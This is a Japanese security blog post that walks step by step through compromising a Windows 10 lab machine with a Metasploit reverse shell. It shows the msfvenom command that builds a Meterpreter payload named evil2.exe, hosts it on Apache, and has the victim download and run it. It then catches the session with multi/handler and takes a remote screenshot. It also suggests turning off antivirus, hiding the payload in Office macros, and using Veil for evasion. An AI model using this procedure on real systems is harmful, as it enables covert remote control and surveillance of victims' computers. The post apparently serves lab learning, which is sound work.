Security Record

セキュリティ全般に関する情報を発信しています

標的PC(Windows10)を遠隔操作してリモートからスクリーンショットを入手する方法

標的端末のIPアドレスの確認

本来であればnmapコマンドを使用して標的端末のIPアドレスを探索するかと思いますが、今回は直接ipconfigで確認しました。

C:\Users\username>ipconfig

Windows IP 構成


イーサネット アダプター イーサネット:

   接続固有の DNS サフィックス . . . . .: edogx1.kt.home.ne.jp
   リンクローカル IPv6 アドレス. . . . .: fe80::6c4b:c53c:f49e:60c3%12
   IPv4 アドレス . . . . . . . . . . . .: 10.0.2.15
   サブネット マスク . . . . . . . . . .: 255.255.255.0
   デフォルト ゲートウェイ . . . . . . .: 10.0.2.2

イーサネット アダプター イーサネット 2:

   接続固有の DNS サフィックス . . . . .:
   リンクローカル IPv6 アドレス. . . . .: fe80::fc76:6e67:1fb4:e976%8
   IPv4 アドレス . . . . . . . . . . . .: 192.168.28.6
   サブネット マスク . . . . . . . . . .: 255.255.255.0
   デフォルト ゲートウェイ . . . . . . .:

リバースシェルのペイロードの用意

Kali Linux側でmsfvenomコマンドを実行して、リバースシェル(Reverse Shell)のペイロードを作成します。

リバースシェルは、標的端末のシステムから攻撃端末に対し接続を行うシェルを用いた通信方法です。 通常、遠隔のコンピュータにアクセスする場合、ユーザーから対象のサーバなどに接続を行いますが、リバースシェルの場合は、標的端末のコンピュータから、 攻撃者や攻撃者の管理するC&Cサーバなどに通信を要求します。

┌──(root㉿kali)-[~]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.28.3 -f exe -o /home/kali/Desktop/evil2.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: /home/kali/Desktop/evil2.exe

msfvenomコマンドを実行したことにより、
Kali Linuxのデスクトップ上にevil2.exeが作成されます。

ペイロードを外部からアクセス出来るディレクトリに移動する

ペイロードを外部からアクセス出来るディレクトリに移動します。
Apacheのデフォルトのドキュメントルートは/var/www/html/以下になるので、その下にファイルを移動させます。

┌──(root㉿kali)-[/home/kali/Desktop]
└─# cp evil2.exe /var/www/html/share 
                                                                                
┌──(root㉿kali)-[/home/kali/Desktop]
└─# ls /var/www/html/share        
evil2.exe
                                                                                
┌──(root㉿kali)-[/home/kali/Desktop]
└─# service apache2 restart  

ペイロードファイルの存在確認

標的端末のWindows10よりブラウザを開いて下記にアクセスします。

http://192.168.28.3/share

ペイロードファイルのダウンロード

先程作成したevil2.exeが確認出来たらダウンロードを実行します。

ウィルス検知機能により上手くダウンロード出来ない場合は、コントロールパネルより、 リアルタイム保護を無効化することでダウンロードがすることが出来ます。

※実際の標的端末がリアルタイム保護が無効化されていることは無いと思うので、ウィルス検知に引っかからない工夫が必要となります。 (未検証ですが、Veil Frameworkを使用するとアンチウィルスを回避できるようです)

ペイロードファイルの実行

標的PCでevil2.exeを実行します。 実際はエクセルやWordのマクロを経由させて実行させるなど、 分かりにくく忍ばせるようです。

※メールに添付されているエクセルを不用意にクリックしてはだめな理由です。

リバースシェルを待ち受ける

Metasploitを起動する

msfconsoleコマンドでMetasploitを起動します。

┌──(root㉿kali)-[/var/www/html]
└─# msfconsole 

exploitを選択してpayloadをセットする

使用するexploitを設定します。 exploit/multi/handlerというexploitを設定します。

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp

payloadをセットする

payload をセットします。
今回はwindows/x64/meterpreter/reverse_tcpというpayloadを使用します。

msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

exploitを実行します

msf6 exploit(multi/handler) > set LHOST 192.168.28.3
LHOST => 192.168.28.3
msf6 exploit(multi/handler) > exploit -j -z
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.28.3:4444 
msf6 exploit(multi/handler) > [*] Sending stage (200774 bytes) to 192.168.28.6
[*] Meterpreter session 1 opened (192.168.28.3:4444 -> 192.168.28.6:50135) at 2023-06-21 22:22:50 +0900

標的端末にて実行されたリバースシェルにより、Kali Linuxにセッションが確立されました。

確立されたセッションの確認

sessions -iコマンドを実行することで、リバースシェルにて確立されたセッションを確認することが出来ます。

msf6 exploit(multi/handler) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                    Connection
  --  ----  ----                     -----------                    ----------
  1         meterpreter x64/windows  DESKTOP-SASS8UL\user @ DESKT  192.168.28.3:4444 -> 192.168.
                                     OP-SASS8UL                     28.6:50135 (192.168.28.6)

meterpreterプロンプトを表示させる

sessions -i 1と入力することによりmeterpreterプロンプトに移ります。

msf6 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

screenshotコマンドで標的端末のスクリーンショットを取得する

meterpreterプロンプトにてscreenshotコマンドを実行すると標的端末のスクリーンショットを取得することが出来ます。

コマンドを実行したら/var/www/html/以下にスクリーンショットが保存されている事が確認できました。

meterpreter > screenshot
Screenshot saved to: /var/www/html/KlbJtIMu.jpeg

標的端末のスクリーンショットがKali Linuxで確認できた。

まとめ

標的端末にペイロードファイルをダウンロード、実行させる必要がありますが、 もしそのようなマルウェアに感染した場合、遠隔からスクリーンショットをが取られて情報が筒抜けになります。

このあとは、権限昇格させてバックドアを仕込めばやりたい放題になってしまいます。 権限昇格を実行するexploitモジュールもあるようです。

参考

ハッキングラボのつくりかた